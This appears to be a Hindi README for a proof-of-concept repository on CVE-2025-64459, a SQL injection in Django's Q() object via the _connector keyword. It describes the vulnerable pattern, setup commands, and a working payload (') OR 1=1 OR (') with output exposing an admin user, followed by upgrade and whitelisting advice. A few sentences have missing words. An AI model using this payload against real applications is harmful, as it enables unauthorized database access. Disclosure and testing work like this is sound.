
भेद्यता: SQL Injection via QuerySet और Q() कीवर्ड आर्गुमेंट अनपैकिंग। CVE पहचान: CVE-2025-64459 गंभीरता: गंभीर (CVSS 9.1) प्रभावित संस्करण: Django 5.1 < 5.1.14, 4.2 < 4.2.26, और 5.2 < 5.2.8। शोधकर्ता: Cyberstan (वारविक विश्वविद्यालय)
भेद्यता: QuerySet और Q() कीवर्ड आर्गुमेंट अनपैकिंग के माध्यम से SQL इंजेक्शन।
CVE ID: CVE-2025-64459
द्वारा खोजा गया: मैं (Cyberstan)
प्रकटीकरण तिथि: 5 नवंबर, 2025
इस रिपॉजिटरी में एक डॉकरीकृत प्रूफ ऑफ कॉन्सेप्ट (PoC) है जो Django ORM में एक गंभीर SQL इंजेक्शन भेद्यता प्रदर्शित करता है।
भेद्यता इस बात में मौजूद है कि Q ऑब्जेक्ट इंस्टेंटिएशन के दौरान कीवर्ड आर्गुमेंट को कैसे संभालता है। विशेष रूप से, आंतरिक _connector विशेषता डिक्शनरी अनपैकिंग (जैसे, Q(**user_input)) के माध्यम से पारित होने पर ठीक से स्वच्छ नहीं की जाती है। यह एक दूरस्थ हमलावर को डेटाबेस क्वेरी के खंड में मनमाना SQL तर्क इंजेक्ट करने की अनुमति देता है, जिससे , , और संभव होती है।
WHEREभेद्यता django.db.models.sql.where.WhereNode में स्थित है। as_sql विधि, जो SQL WHERE खंड को संकलित करने के लिए जिम्मेदार है, क्वेरी कनेक्टर (AND/OR) सम्मिलित करने के लिए असुरक्षित स्ट्रिंग फॉर्मेटिंग का उपयोग करती है।
# Simplified vulnerable logic in django/db/models/sql/where.py
def as_sql(self, compiler, connection):
# ...
# The self.connector attribute is injected directly without validation
conn = ' %s ' % self.connector
# ...
भेद्यता तब ट्रिगर होती है जब डेवलपर्स उपयोगकर्ता इनपुट से फ़िल्टर बनाने के लिए डिक्शनरी अनपैकिंग का उपयोग करते हैं—जो सर्च APIs में एक सामान्य पैटर्न है।
असुरक्षित कोड पैटर्न:
# Attacker controls the keys and values of 'filters'
filters = request.GET.dict()
query = Q(**filters) # <--- VULNERABLE POINT
results = User.objects.filter(query)
यदि कोई हमलावर अपने इनपुट में _connector को एक कुंजी के रूप में शामिल करता है, तो वे SQL संरचना में हेरफेर कर सकते हैं।
यह PoC एक सुसंगत, पृथक वातावरण सुनिश्चित करने के लिए Docker का उपयोग करता है जिसमें Django का भेद्य संस्करण (5.1) शामिल है।
git clone https://github.com/stanly363/CVE-2025-64459-PoC.git
cd CVE-2025-64459-PoC
निम्नलिखित कमांड चलाकर वातावरण बनाएँ और अटैक स्क्रिप्ट निष्पादित करें:
docker-compose up --build
कंटेनर एक Python स्क्रिप्ट (poc.py) निष्पादित करेगा जो एक भेद्य अनुप्रयोग एंडपॉइंट का अनुकरण करता है।
alice (मानक) और root (व्यवस्थापक)।_connector पेलोड वाले एक खोज अनुरोध का अनुकरण करता है।सफल एक्सप्लॉइट आउटपुट:
Simulating malicious user payload:
{'is_admin': False, 'username': 'nonexistent_user', '_connector': ') OR 1=1 OR ('}
----------------------------------------
Generated SQL:
SELECT ... FROM "webapp_user" WHERE (NOT "webapp_user"."is_admin" ) OR 1=1 OR ( ... )
----------------------------------------
[+] SUCCESS: Filter bypassed via dictionary unpacking! Admin user exposed.
Django को तुरंत नवीनतम सुरक्षा रिलीज़ में अपग्रेड करें।
pip install Django==5.1.14 (या प्रासंगिक संस्करण)पैच WhereNode में सख्त सत्यापन प्रस्तुत करता है, यह सुनिश्चित करता है कि connector हमेशा केवल AND या OR के बराबर हो।
यदि आप तुरंत अपग्रेड नहीं कर सकते, तो अपने कोडबेस में Q(**kwargs) या filter(**kwargs) के उपयोग का ऑडिट करें। सुनिश्चित करें कि इन विधियों को पारित किए गए डिक्शनरी में कभी भी कच्ची उपयोगकर्ता-नियंत्रित कुंजियाँ न हों।
सुरक्षित पैटर्न:
# Explicitly whitelist allowed fields
allowed_filters = {'username', 'email', 'is_active'}
clean_filters = {k: v for k, v in request.GET.items() if k in allowed_filters}
# Now safe to unpack
User.objects.filter(**clean_filters)
यह रिपॉजिटरी केवल शैक्षिक और सुरक्षा अनुसंधान उद्देश्यों के लिए है।
प्रदान किया गया कोड एक विशिष्ट सुरक्षा दोष प्रदर्शित करने के लिए एक भेद्य वातावरण बनाता है। इसे कभी भी उत्पादन वातावरण में नहीं चलाया जाना चाहिए। लेखक (Cyberstan) इस जानकारी के किसी भी दुरुपयोग के लिए जिम्मेदार नहीं है। स्पष्ट प्राधिकरण के बिना सिस्टम के विरुद्ध इस एक्सप्लॉइट का परीक्षण करना अवैध है। '''